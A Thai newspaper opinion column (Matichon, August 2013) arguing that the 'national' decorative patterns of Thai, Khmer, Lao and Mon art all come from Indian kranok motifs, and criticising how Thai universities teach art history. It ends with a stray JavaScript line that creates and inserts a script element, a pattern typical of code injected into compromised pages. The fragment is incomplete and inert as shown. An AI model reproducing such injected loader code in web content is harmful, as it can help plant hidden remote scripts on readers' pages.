มติชนรายวัน ฉบับประจำวันจันทร์ที่ 19 สิงหาคม 2556

 

          อาจารย์มหาวิทยาลัยไทยทั้งส่วนกลางและท้องถิ่น ส่วนมากยอมถูกครอบงำจากความคิดแบบอาณานิคมของระบบเจ้าขุนมูลนายราชการไทย ดูได้จากการเรียนการสอนประวัติศาสตร์ศิลปะ

          ก่อนรับลายกระหนกจากอินเดีย บรรดาบรรพชนคนดึกดำบรรพ์สุวรรณภูมิในอุษาคเนย์ (อาเซียน) ใช้เส้นสายลายแต้มวาดรูปต่างๆ ชำนาญแล้ว ทั้งรูปสัตว์และรูปคน ด้วยกลวิธีหรือเทคนิคหลากหลาย

          บรรพชนคนอุษาคเนย์ก่อนรู้จักติดต่อกับอินเดีย มีพัฒนาการบ้านเมืองระดับรัฐขนาดเล็กอยู่แล้ว ทั้งในภาคกลางและภาคอีสาน โดยมีเทคโนโลยีถลุงแล้วหล่อโลหะ ก้าวหน้าระดับสูง

          แต่ระบบการศึกษาของไทยมองข้าม โดยไม่รับรู้สิ่งก้าวหน้าที่มีอยู่จริงตามหลักฐานประวัติศาสตร์โบราณคดี ก่อนรับอารยธรรมอินเดีย

          ดังนั้น เมื่อกล่าวถึงเส้นสายลวดลายต่างๆ ในประวัติศาสตร์ศิลปะ จึงไม่มีเส้นสายลายแต้มยุคดึกดำบรรพ์ของสุวรรณภูมิในอุษาคเนย์

          แต่ข้ามไปยกย่องเยินยอลายกระหนกอย่างเกินจริงจากอินเดีย แล้วแย่งกันริบลายกระหนกเหล่านั้นเป็นของตนอย่างคลุ้มคลั่ง เช่น ลายไทย งามกว่าลายชาติอื่น เป็นต้น

          ลายประจำชาติต่างๆในอาเซียนล้วนได้ต้นแบบจากลายกระหนกอินเดีย (หรืออินโด-เปอร์เซีย) แสดงลักษณะแตกต่างทางชนชั้นอย่างเข้มข้นของยุคนั้น

          ราว พ.ศ. 1000 เป็นต้นไป ผู้คนกลุ่มหนึ่งในบ้านเมืองบริเวณสุวรรณภูมิและอุษาคเนย์ มีการติดต่อทางทะเลสมุทร แล้วค้าขายแลกเปลี่ยนสิ่งของสินค้ากับอินเดียและลังกา

          เริ่มรับศาสนา และรับลายกระหนกจากอินเดียเป็นครู แล้วเริ่มทำเลียนแบบครู จึงสมมุติเรียกงานช่างนั้นว่าแบบทวารวดี (แต่มักนิยมเรียกศิลปะทวารวดี) ซึ่งต่างมีพื้นฐานเป็นเบสิครองรับมานานมากแล้วก่อนหน้านี้จากเส้นสาย, ลายสลัก, จักสาน, และลายแต้ม

          กระหนก หมายถึงเส้นสายลวดลายต่างๆ จากอินเดีย ที่แพร่เข้ามาโดยผูกติดกับศาสนาพราหมณ์และพุทธ ถึงดินแดนสุวรรณภูมิในอุษาคเนย์โดยรวม ไม่จำเพาะเจาะจงบริเวณหนึ่งใด

          เมื่อฝึกฝนเลียนแบบครูจนชำนิชำนาญ จึงมีพัฒนาการเป็นลักษณะเฉพาะท้องถิ่นสุวรรณภูมิ

          กระทั่งเป็นรัฐชาติ มีชื่อชาติภาษา และประเทศชาติ เลยพากันสมมุติเรียกชื่อเส้นสายต่างๆ กันตามชื่อเหล่านั้นว่า ลายมอญ, ลายเขมร, ลายลาว, ฯลฯ จนถึงลายไทย

          แต่แท้จริงแล้วล้วนเป็นลายกระหนกจากอินเดียโบราณอย่างเดียวกัน ที่จะแยกให้ต่างกันไม่ได้ เว้นเสียแต่บังคับให้แตกต่างตามการเมืองยุคล่าอาณานิคม

var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);